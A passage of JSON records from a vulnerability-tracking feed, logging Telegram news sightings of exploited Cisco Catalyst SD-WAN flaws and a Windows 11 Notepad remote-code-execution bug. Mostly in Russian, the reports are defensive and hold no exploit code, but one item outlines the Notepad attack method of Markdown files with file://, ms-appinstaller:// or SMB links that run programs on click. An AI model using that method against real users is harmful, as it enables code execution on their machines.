\u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCisco Talos \u0441\u0432\u044f\u0437\u0430\u043b\u0430 \u044d\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 UAT-8616, \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2023 \u0433\u043e\u0434\u0430.\u00a0\u041d\u043e \u043d\u0435\u044f\u0441\u043d\u043e, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Catalyst SD-WAN \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445.\u00a0\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043d\u0443\u043b\u044f\u043c\u0438,\u00a0\u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a UAT-9686. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2026-03-05T17:00:08.000000Z"}, {"uuid": "ca4f623f-420d-4535-b377-662d6f24bbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/369", "content": "https://socprime.com/blog/cve-2026-20127-vulnerability/", "creation_timestamp": "2026-03-10T00:38:46.000000Z"}, {"uuid": "d8005c7f-8d53-4ff8-bd7b-bd3fbbdf486b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://t.me/thehackernews/8543", "content": "\u26a0\ufe0f Cisco confirms active exploitation of two Catalyst SD-WAN Manager flaws.\n\n\u25b6 CVE-2026-20122 enables arbitrary file overwrite via API credentials.\n\u25b6CVE-2026-20128 can expose data and grant DCA privileges after login.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/cisco-confirms-active-exploitation-of.html\n\nPatches are out across multiple releases.", "creation_timestamp": "2026-03-05T15:23:45.000000Z"}, {"uuid": "91358124-5342-4835-b45c-16736e4f7a39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://t.me/thehackernews/8543", "content": "\u26a0\ufe0f Cisco confirms active exploitation of two Catalyst SD-WAN Manager flaws.\n\n\u25b6 CVE-2026-20122 enables arbitrary file overwrite via API credentials.\n\u25b6CVE-2026-20128 can expose data and grant DCA privileges after login.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/cisco-confirms-active-exploitation-of.html\n\nPatches are out across multiple releases.", "creation_timestamp": "2026-03-05T15:23:45.000000Z"}, {"uuid": "c2bc185e-ffa2-4852-95ff-84c618e90d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/true_secator/7906", "content": "Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0435 Windows 11, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c Markdown \u0431\u0435\u0437 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0435\u0449\u0435 Windows 1.0 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0438 \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441 \u0433\u043e\u0434\u0430\u043c\u0438 \u0441\u0442\u0430\u043b \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0437\u0430\u043c\u0435\u0442\u043e\u043a, \u0447\u0442\u0435\u043d\u0438\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u0434\u0435\u043b \u0438\u043b\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u043a\u043e\u0434\u0430.\n\n\u041f\u043e\u0437\u0436\u0435 Microsoft \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Windows Write \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0448\u0440\u0438\u0444\u0442\u043e\u0432, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438 WordPad. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c Windows 11 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 WordPad \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0435\u0433\u043e \u0438\u0437 Windows.\n\n\u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e Microsoft \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043b\u0430 \u0411\u043b\u043e\u043a\u043d\u043e\u0442, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0432 \u0432 \u043d\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 RTF, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 Markdown, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u043a\u0441\u0442 \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 Markdown \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0443 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c, \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b Markdown (.md), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0435\u043a\u0441\u0442\u0430, \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u0438 \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 Notepad, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20841.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 (\u00ab\u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u00bb) \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043f\u043e \u0441\u0435\u0442\u0438.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u041a\u0440\u0438\u0441\u0442\u0438\u0430\u043d\u0443 \u041f\u0430\u043f\u0435, \u0410\u043b\u0430\u0441\u0434\u0435\u0440\u0443 \u0413\u043e\u0440\u043d\u044f\u043a\u0443\u00a0\u0438 \u0427\u0435\u043d\u0443. \n\n\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0430\u0439\u043b\u0430 Markdown, \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0432 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043e\u0442\u043a\u0440\u044b\u0432\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b Markdown, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0435 \u0436\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0447\u0442\u043e \u0438 \u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0434\u0438\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0433\u043a\u043e \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c.\n\n\u0412\u0441\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u044d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0444\u0430\u0439\u043b Markdown, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 test.md, \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 file://, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 URI, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a ms-appinstaller://.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 Markdown \u0432 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0435 Windows 11 \u0432\u0435\u0440\u0441\u0438\u0438 11.2510 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Markdown, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0448\u0435 \u0442\u0435\u043a\u0441\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u043b\u0438\u043a\u0430\u0431\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430.\n\n\u041f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Ctrl+Click \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b Windows, \u0430 \u0447\u0442\u043e \u0432 Microsoft \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0435\u0434\u044c \u044d\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 SMB-\u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0435 Windows 11 \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b http:// \u0438\u043b\u0438 https://. \u042d\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0445 \u0442\u0438\u043f\u043e\u0432 \u0441\u0441\u044b\u043b\u043e\u043a URI, \u043a\u0430\u043a file, ms-settings, ms-appinstaller, mailto \u0438 ms-search.\n\n\u041f\u0440\u0430\u0432\u0434\u0430 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 Microsoft \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0441\u043e\u0446\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0434\u043e\u0431\u0440\u0438\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b.", "creation_timestamp": "2026-02-12T17:00:08.000000Z"}, {"uuid": "3fb4810e-0da0-4d40-9ec8-b2c056a34d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/true_secator/7945", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Cisco Catalyst SD-WAN \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0443\u0437\u043b\u044b \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0441\u0435\u0442\u0438.\n\nCVE-2026-20127 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 10.0 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Cisco Catalyst SD-WAN Controller (\u0440\u0430\u043d\u0435\u0435 vSmart) \u0438 Cisco Catalyst SD-WAN Manager (\u0440\u0430\u043d\u0435\u0435 vManage) \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 SD-WAN-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u043c\u0443 \u0446\u0435\u043d\u0442\u0440\u0443 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 (ASD's ACSC).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Cisco, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043f\u0438\u0440\u0438\u043d\u0433\u0435 \u0432 